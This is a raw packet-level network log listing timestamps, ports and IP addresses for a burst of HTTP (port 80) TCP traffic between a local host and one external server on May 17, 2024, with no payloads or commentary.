May 17, 2024 23:45:16.242444992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242444992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242444992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242444992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242448092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242456913 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242459059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.242505074 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.242505074 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243129015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243139029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243146896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243155956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243165016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243180990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243190050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243200064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243210077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243217945 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243227005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243237019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243238926 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243247032 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243253946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243253946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243253946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243253946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243257046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243266106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243272066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243277073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243283987 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243287086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243297100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243305922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243315935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243324995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243335009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243344069 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243355036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243356943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243356943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243356943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243356943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243375063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243392944 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.243904114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243913889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243921995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243930101 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243940115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243948936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243959904 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243969917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243979931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243988037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.243998051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244008064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244023085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244029999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244029999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244029999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244029999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244029999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244034052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244044065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244046926 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244054079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244062901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244074106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244083881 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244096994 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244117975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244132042 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244138002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244138002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244138002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244138002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244142056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244153976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244163990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244174004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244184017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244185925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244185925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244185925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244194984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244199991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244205952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244865894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244877100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244887114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244891882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244895935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244901896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244910955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244926929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244929075 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244929075 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244937897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244946003 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244949102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244960070 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244972944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244982958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244993925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.244997025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.244997025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245004892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245017052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245028973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245040894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245052099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245063066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245073080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245078087 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245078087 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245078087 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245078087 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245085001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245100021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245635986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245646954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245656013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245665073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245675087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245687008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245697975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245707035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245707035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245707035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245707035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245708942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245718956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245728016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245737076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245738983 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245758057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245769024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245779991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245785952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245791912 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245796919 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245796919 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245804071 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245815039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245825052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245836973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245847940 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245858908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245868921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245881081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245893002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245894909 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245894909 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245894909 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245894909 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245903969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245909929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245915890 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.245920897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245932102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.245942116 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246136904 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.246136904 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.246138096 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.246557951 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246570110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246578932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246588945 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246607065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246618032 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246629000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246639013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246649981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246659994 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246670961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246681929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246692896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246709108 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246720076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246726990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.246726990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.246726990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.246726990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.246726990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.246731043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246742010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246754885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246766090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246777058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246789932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246799946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246810913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.246841908 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.246841908 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.246841908 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.246841908 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.246841908 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247317076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247328997 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247339010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247349977 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247359991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247370958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247380972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247391939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247402906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247414112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247425079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247442007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247447968 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247447968 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247447968 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247447968 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247447968 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247452974 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247463942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247469902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247473955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247486115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247494936 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247498035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247507095 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247508049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247522116 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247533083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247544050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247554064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247565985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247577906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247590065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247601032 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247612953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247623920 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247632980 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247632980 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247632980 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247632980 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247632980 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247637033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.247745991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247745991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.247745991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.248258114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248270035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248280048 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248291016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248306990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248318911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248330116 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248341084 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248351097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248353958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.248353958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.248363018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248373985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248379946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.248384953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248392105 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.248395920 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248408079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248409986 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.248418093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248430014 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248439074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248457909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248470068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248481989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248486996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.248486996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.248486996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.248493910 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248502970 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.248506069 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248517990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.248568058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.248568058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.248568058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249070883 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249083042 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249093056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249104023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249114990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249125004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249138117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249146938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249159098 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249162912 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249162912 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249169111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249182940 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249201059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249212027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249223948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249226093 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249226093 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249226093 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249236107 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249244928 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249245882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249257088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249267101 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249279022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249289036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249300003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249308109 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249308109 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249308109 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249311924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249322891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249334097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249345064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249356985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249368906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249370098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249370098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249370098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249378920 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249388933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249399900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249404907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249404907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249411106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.249576092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249576092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.249991894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250003099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250011921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250024080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250035048 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250051975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250055075 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250062943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250073910 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250075102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250086069 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250088930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250097036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250108004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250118971 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250129938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250140905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250154018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250164032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250164986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250174999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250174999 CEST	49707	80	192.168.2.5	5.42.96.170
